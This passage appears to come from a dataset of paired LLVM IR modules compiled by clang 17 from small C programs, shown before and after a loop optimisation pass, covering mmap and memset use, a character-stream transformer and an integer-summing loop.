attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: write) }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
|
; ModuleID = '/tmp/tmppo9l1k1w.c'
source_filename = "/tmp/tmppo9l1k1w.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@PROT_READ = dso_local global i32 0, align 4
@PROT_WRITE = dso_local global i32 0, align 4
@MAP_ANONYMOUS = dso_local global i32 0, align 4
@MAP_PRIVATE = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [12 x i8] c"map failed \00", align 1
@.str.1 = private unnamed_addr constant [4 x i8] c"%x \00", align 1
@.str.2 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1
@.str.3 = private unnamed_addr constant [11 x i8] c"umap fail \00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca ptr, align 8
%3 = alloca i32, align 4
%4 = alloca i32, align 4
store i32 0, ptr %1, align 4
%5 = load i32, ptr @PROT_READ, align 4
%6 = load i32, ptr @PROT_WRITE, align 4
%7 = or i32 %5, %6
%8 = load i32, ptr @MAP_ANONYMOUS, align 4
%9 = load i32, ptr @MAP_PRIVATE, align 4
%10 = or i32 %8, %9
%11 = call ptr @mmap(ptr noundef null, i32 noundef 1048576, i32 noundef %7, i32 noundef %10, i32 noundef -1, i32 noundef 0)
store ptr %11, ptr %2, align 8
%12 = load ptr, ptr %2, align 8
%13 = icmp ult ptr %12, null
br i1 %13, label %14, label %17
14: ; preds = %0
%15 = call i32 @perror(ptr noundef @.str)
%16 = call i32 @exit(i32 noundef -1) #3
unreachable
17: ; preds = %0
%18 = load ptr, ptr %2, align 8
%19 = call i32 @memset(ptr noundef %18, i32 noundef 172, i32 noundef 1024)
store i32 0, ptr %3, align 4
br label %20
20: ; preds = %31, %17
%21 = load i32, ptr %3, align 4
%22 = icmp slt i32 %21, 16
br i1 %22, label %23, label %34
23: ; preds = %20
%24 = load ptr, ptr %2, align 8
%25 = load i32, ptr %3, align 4
%26 = sext i32 %25 to i64
%27 = getelementptr inbounds i8, ptr %24, i64 %26
%28 = load i8, ptr %27, align 1
%29 = zext i8 %28 to i32
%30 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %29)
br label %31
31: ; preds = %23
%32 = load i32, ptr %3, align 4
%33 = add nsw i32 %32, 1
store i32 %33, ptr %3, align 4
br label %20, !llvm.loop !6
34: ; preds = %20
%35 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
%36 = load ptr, ptr %2, align 8
%37 = call i32 @munmap(ptr noundef %36, i32 noundef 1048576)
store i32 %37, ptr %4, align 4
%38 = load i32, ptr %4, align 4
%39 = icmp slt i32 %38, 0
br i1 %39, label %40, label %42
40: ; preds = %34
%41 = call i32 @perror(ptr noundef @.str.3)
br label %42
42: ; preds = %40, %34
ret i32 0
}
declare ptr @mmap(ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @perror(ptr noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
declare i32 @memset(ptr noundef, i32 noundef, i32 noundef) #1
declare i32 @printf(ptr noundef, ...) #1
declare i32 @munmap(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmppo9l1k1w.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@PROT_READ = dso_local global i32 0, align 4
@PROT_WRITE = dso_local global i32 0, align 4
@MAP_ANONYMOUS = dso_local global i32 0, align 4
@MAP_PRIVATE = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [12 x i8] c"map failed \00", align 1
@.str.1 = private unnamed_addr constant [4 x i8] c"%x \00", align 1
@.str.2 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1
@.str.3 = private unnamed_addr constant [11 x i8] c"umap fail \00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca ptr, align 8
%3 = alloca i32, align 4
%4 = alloca i32, align 4
store i32 0, ptr %1, align 4
%5 = load i32, ptr @PROT_READ, align 4
%6 = load i32, ptr @PROT_WRITE, align 4
%7 = or i32 %5, %6
%8 = load i32, ptr @MAP_ANONYMOUS, align 4
%9 = load i32, ptr @MAP_PRIVATE, align 4
%10 = or i32 %8, %9
%11 = call ptr @mmap(ptr noundef null, i32 noundef 1048576, i32 noundef %7, i32 noundef %10, i32 noundef -1, i32 noundef 0)
store ptr %11, ptr %2, align 8
%12 = load ptr, ptr %2, align 8
%13 = icmp ult ptr %12, null
br i1 %13, label %14, label %17
14: ; preds = %0
%15 = call i32 @perror(ptr noundef @.str)
%16 = call i32 @exit(i32 noundef -1) #3
unreachable
17: ; preds = %0
%18 = load ptr, ptr %2, align 8
%19 = call i32 @memset(ptr noundef %18, i32 noundef 172, i32 noundef 1024)
store i32 0, ptr %3, align 4
%20 = load i32, ptr %3, align 4
%21 = icmp slt i32 %20, 16
br i1 %21, label %.lr.ph, label %35
.lr.ph: ; preds = %17
br label %22
22: ; preds = %.lr.ph, %30
%23 = load ptr, ptr %2, align 8
%24 = load i32, ptr %3, align 4
%25 = sext i32 %24 to i64
%26 = getelementptr inbounds i8, ptr %23, i64 %25
%27 = load i8, ptr %26, align 1
%28 = zext i8 %27 to i32
%29 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %28)
br label %30
30: ; preds = %22
%31 = load i32, ptr %3, align 4
%32 = add nsw i32 %31, 1
store i32 %32, ptr %3, align 4
%33 = load i32, ptr %3, align 4
%34 = icmp slt i32 %33, 16
br i1 %34, label %22, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %30
br label %35
35: ; preds = %._crit_edge, %17
%36 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
%37 = load ptr, ptr %2, align 8
%38 = call i32 @munmap(ptr noundef %37, i32 noundef 1048576)
store i32 %38, ptr %4, align 4
%39 = load i32, ptr %4, align 4
%40 = icmp slt i32 %39, 0
br i1 %40, label %41, label %43
41: ; preds = %35
%42 = call i32 @perror(ptr noundef @.str.3)
br label %43
43: ; preds = %41, %35
ret i32 0
}
declare ptr @mmap(ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @perror(ptr noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
declare i32 @memset(ptr noundef, i32 noundef, i32 noundef) #1
declare i32 @printf(ptr noundef, ...) #1
declare i32 @munmap(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpj64_nwzw.c'
source_filename = "/tmp/tmpj64_nwzw.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@EOF = dso_local global i64 0, align 8
@.str = private unnamed_addr constant [3 x i8] c"\22:\00", align 1
@stdout = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @transform_doc(i32 noundef %0) #0 {
%2 = alloca i32, align 4
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i32, align 4
store i32 %0, ptr %2, align 4
store i32 0, ptr %3, align 4
br label %7
7: ; preds = %17, %1
%8 = load i32, ptr %3, align 4
%9 = icmp slt i32 %8, 4
br i1 %9, label %10, label %20
10: ; preds = %7
%11 = call i64 (...) @getchar_unlocked()
%12 = load i64, ptr @EOF, align 8
%13 = icmp eq i64 %11, %12
br i1 %13, label %14, label %16
14: ; preds = %10
%15 = call i32 @exit(i32 noundef 0) #3
unreachable
16: ; preds = %10
br label %17
17: ; preds = %16
%18 = load i32, ptr %3, align 4
%19 = add nsw i32 %18, 1
store i32 %19, ptr %3, align 4
br label %7, !llvm.loop !6
20: ; preds = %7
%21 = load i32, ptr %2, align 4
%22 = icmp ne i32 %21, 0
%23 = zext i1 %22 to i64
%24 = select i1 %22, i32 91, i32 123
%25 = trunc i32 %24 to i8
%26 = call i32 @putchar_unlocked(i8 noundef signext %25)
store i32 1, ptr %4, align 4
br label %27
27: ; preds = %64, %20
%28 = call i32 (...) @readchar()
store i32 %28, ptr %5, align 4
%29 = load i32, ptr %5, align 4
%30 = icmp ne i32 %29, 0
br i1 %30, label %32, label %31
31: ; preds = %27
br label %65
32: ; preds = %27
%33 = load i32, ptr %4, align 4
%34 = icmp ne i32 %33, 0
br i1 %34, label %37, label %35
35: ; preds = %32
%36 = call i32 @putchar_unlocked(i8 noundef signext 44)
br label %37
37: ; preds = %35, %32
%38 = load i32, ptr %2, align 4
%39 = icmp ne i32 %38, 0
br i1 %39, label %42, label %40
40: ; preds = %37
%41 = call i32 @putchar_unlocked(i8 noundef signext 34)
br label %42
42: ; preds = %40, %37
%43 = call i32 (...) @readchar()
store i32 %43, ptr %6, align 4
br label %44
44: ; preds = %53, %42
%45 = load i32, ptr %6, align 4
%46 = icmp ne i32 %45, 0
br i1 %46, label %47, label %55
47: ; preds = %44
%48 = load i32, ptr %2, align 4
%49 = icmp ne i32 %48, 0
br i1 %49, label %53, label %50
50: ; preds = %47
%51 = load i32, ptr %6, align 4
%52 = call i32 @put_string_char(i32 noundef %51)
br label %53
53: ; preds = %50, %47
%54 = call i32 (...) @readchar()
store i32 %54, ptr %6, align 4
br label %44, !llvm.loop !8
55: ; preds = %44
%56 = load i32, ptr %2, align 4
%57 = icmp ne i32 %56, 0
br i1 %57, label %61, label %58
58: ; preds = %55
%59 = load i32, ptr @stdout, align 4
%60 = call i32 @fputs_unlocked(ptr noundef @.str, i32 noundef %59)
br label %61
61: ; preds = %58, %55
%62 = load i32, ptr %5, align 4
%63 = call i32 @transform_value(i32 noundef %62)
br label %64
64: ; preds = %61
store i32 0, ptr %4, align 4
br label %27
65: ; preds = %31
%66 = load i32, ptr %2, align 4
%67 = icmp ne i32 %66, 0
%68 = zext i1 %67 to i64
%69 = select i1 %67, i32 93, i32 125
%70 = trunc i32 %69 to i8
%71 = call i32 @putchar_unlocked(i8 noundef signext %70)
ret void
}
declare i64 @getchar_unlocked(...) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
declare i32 @putchar_unlocked(i8 noundef signext) #1
declare i32 @readchar(...) #1
declare i32 @put_string_char(i32 noundef) #1
declare i32 @fputs_unlocked(ptr noundef, i32 noundef) #1
declare i32 @transform_value(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpj64_nwzw.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@EOF = dso_local global i64 0, align 8
@.str = private unnamed_addr constant [3 x i8] c"\22:\00", align 1
@stdout = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @transform_doc(i32 noundef %0) #0 {
%2 = alloca i32, align 4
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i32, align 4
store i32 %0, ptr %2, align 4
store i32 0, ptr %3, align 4
%7 = load i32, ptr %3, align 4
%8 = icmp slt i32 %7, 4
br i1 %8, label %.lr.ph, label %21
.lr.ph: ; preds = %1
br label %9
9: ; preds = %.lr.ph, %16
%10 = call i64 (...) @getchar_unlocked()
%11 = load i64, ptr @EOF, align 8
%12 = icmp eq i64 %10, %11
br i1 %12, label %13, label %15
13: ; preds = %9
%14 = call i32 @exit(i32 noundef 0) #3
unreachable
15: ; preds = %9
br label %16
16: ; preds = %15
%17 = load i32, ptr %3, align 4
%18 = add nsw i32 %17, 1
store i32 %18, ptr %3, align 4
%19 = load i32, ptr %3, align 4
%20 = icmp slt i32 %19, 4
br i1 %20, label %9, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %16
br label %21
21: ; preds = %._crit_edge, %1
%22 = load i32, ptr %2, align 4
%23 = icmp ne i32 %22, 0
%24 = zext i1 %23 to i64
%25 = select i1 %23, i32 91, i32 123
%26 = trunc i32 %25 to i8
%27 = call i32 @putchar_unlocked(i8 noundef signext %26)
store i32 1, ptr %4, align 4
%28 = call i32 (...) @readchar()
store i32 %28, ptr %5, align 4
%29 = load i32, ptr %5, align 4
%30 = icmp ne i32 %29, 0
br i1 %30, label %.lr.ph5, label %31
.lr.ph5: ; preds = %21
br label %32
._crit_edge6: ; preds = %65
br label %31
31: ; preds = %._crit_edge6, %21
br label %69
32: ; preds = %.lr.ph5, %65
%33 = load i32, ptr %4, align 4
%34 = icmp ne i32 %33, 0
br i1 %34, label %37, label %35
35: ; preds = %32
%36 = call i32 @putchar_unlocked(i8 noundef signext 44)
br label %37
37: ; preds = %35, %32
%38 = load i32, ptr %2, align 4
%39 = icmp ne i32 %38, 0
br i1 %39, label %42, label %40
40: ; preds = %37
%41 = call i32 @putchar_unlocked(i8 noundef signext 34)
br label %42
42: ; preds = %40, %37
%43 = call i32 (...) @readchar()
store i32 %43, ptr %6, align 4
%44 = load i32, ptr %6, align 4
%45 = icmp ne i32 %44, 0
br i1 %45, label %.lr.ph2, label %56
.lr.ph2: ; preds = %42
br label %46
46: ; preds = %.lr.ph2, %52
%47 = load i32, ptr %2, align 4
%48 = icmp ne i32 %47, 0
br i1 %48, label %52, label %49
49: ; preds = %46
%50 = load i32, ptr %6, align 4
%51 = call i32 @put_string_char(i32 noundef %50)
br label %52
52: ; preds = %49, %46
%53 = call i32 (...) @readchar()
store i32 %53, ptr %6, align 4
%54 = load i32, ptr %6, align 4
%55 = icmp ne i32 %54, 0
br i1 %55, label %46, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %52
br label %56
56: ; preds = %._crit_edge3, %42
%57 = load i32, ptr %2, align 4
%58 = icmp ne i32 %57, 0
br i1 %58, label %62, label %59
59: ; preds = %56
%60 = load i32, ptr @stdout, align 4
%61 = call i32 @fputs_unlocked(ptr noundef @.str, i32 noundef %60)
br label %62
62: ; preds = %59, %56
%63 = load i32, ptr %5, align 4
%64 = call i32 @transform_value(i32 noundef %63)
br label %65
65: ; preds = %62
store i32 0, ptr %4, align 4
%66 = call i32 (...) @readchar()
store i32 %66, ptr %5, align 4
%67 = load i32, ptr %5, align 4
%68 = icmp ne i32 %67, 0
br i1 %68, label %32, label %._crit_edge6
69: ; preds = %31
%70 = load i32, ptr %2, align 4
%71 = icmp ne i32 %70, 0
%72 = zext i1 %71 to i64
%73 = select i1 %71, i32 93, i32 125
%74 = trunc i32 %73 to i8
%75 = call i32 @putchar_unlocked(i8 noundef signext %74)
ret void
}
declare i64 @getchar_unlocked(...) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
declare i32 @putchar_unlocked(i8 noundef signext) #1
declare i32 @readchar(...) #1
declare i32 @put_string_char(i32 noundef) #1
declare i32 @fputs_unlocked(ptr noundef, i32 noundef) #1
declare i32 @transform_value(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '/tmp/tmpri94tic7.c'
source_filename = "/tmp/tmpri94tic7.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpri94tic7.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpbe_n61hb.c'
source_filename = "/tmp/tmpbe_n61hb.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpbe_n61hb.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpwm5p7x_q.c'
source_filename = "/tmp/tmpwm5p7x_q.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [3 x i8] c"%d\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca [1000 x i32], align 16
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i32 0, ptr %5, align 4
%6 = call i32 @scanf(ptr noundef @.str, ptr noundef %4)
store i32 0, ptr %3, align 4
br label %7
7: ; preds = %22, %0
%8 = load i32, ptr %3, align 4
%9 = load i32, ptr %4, align 4
%10 = icmp slt i32 %8, %9
br i1 %10, label %11, label %25
11: ; preds = %7
%12 = load i32, ptr %3, align 4
%13 = sext i32 %12 to i64
%14 = getelementptr inbounds [1000 x i32], ptr %2, i64 0, i64 %13
%15 = call i32 @scanf(ptr noundef @.str, ptr noundef %14)
%16 = load i32, ptr %5, align 4
%17 = load i32, ptr %3, align 4
%18 = sext i32 %17 to i64
%19 = getelementptr inbounds [1000 x i32], ptr %2, i64 0, i64 %18
%20 = load i32, ptr %19, align 4
%21 = add nsw i32 %16, %20
store i32 %21, ptr %5, align 4
br label %22
22: ; preds = %11
%23 = load i32, ptr %3, align 4
%24 = add nsw i32 %23, 1
store i32 %24, ptr %3, align 4
br label %7, !llvm.loop !6
25: ; preds = %7
%26 = load i32, ptr %5, align 4
%27 = call i32 @printf(ptr noundef @.str, i32 noundef %26)
ret i32 0
}
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i32 @printf(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpwm5p7x_q.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [3 x i8] c"%d\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca [1000 x i32], align 16
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i32 0, ptr %5, align 4
%6 = call i32 @scanf(ptr noundef @.str, ptr noundef %4)
store i32 0, ptr %3, align 4
%7 = load i32, ptr %3, align 4
%8 = load i32, ptr %4, align 4
%9 = icmp slt i32 %7, %8
br i1 %9, label %.lr.ph, label %27
.lr.ph: ; preds = %0
br label %10
10: ; preds = %.lr.ph, %21
%11 = load i32, ptr %3, align 4
%12 = sext i32 %11 to i64
%13 = getelementptr inbounds [1000 x i32], ptr %2, i64 0, i64 %12
%14 = call i32 @scanf(ptr noundef @.str, ptr noundef %13)
%15 = load i32, ptr %5, align 4
%16 = load i32, ptr %3, align 4
%17 = sext i32 %16 to i64
%18 = getelementptr inbounds [1000 x i32], ptr %2, i64 0, i64 %17
%19 = load i32, ptr %18, align 4
%20 = add nsw i32 %15, %19
store i32 %20, ptr %5, align 4
br label %21
21: ; preds = %10
%22 = load i32, ptr %3, align 4
%23 = add nsw i32 %22, 1
store i32 %23, ptr %3, align 4
%24 = load i32, ptr %3, align 4
%25 = load i32, ptr %4, align 4
%26 = icmp slt i32 %24, %25
br i1 %26, label %10, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %21
br label %27
27: ; preds = %._crit_edge, %0
%28 = load i32, ptr %5, align 4
%29 = call i32 @printf(ptr noundef @.str, i32 noundef %28)
ret i32 0
}
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i32 @printf(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpx0fcicpu.c'
source_filename = "/tmp/tmpx0fcicpu.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [25 x i8] c"Info: Invalid function.\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
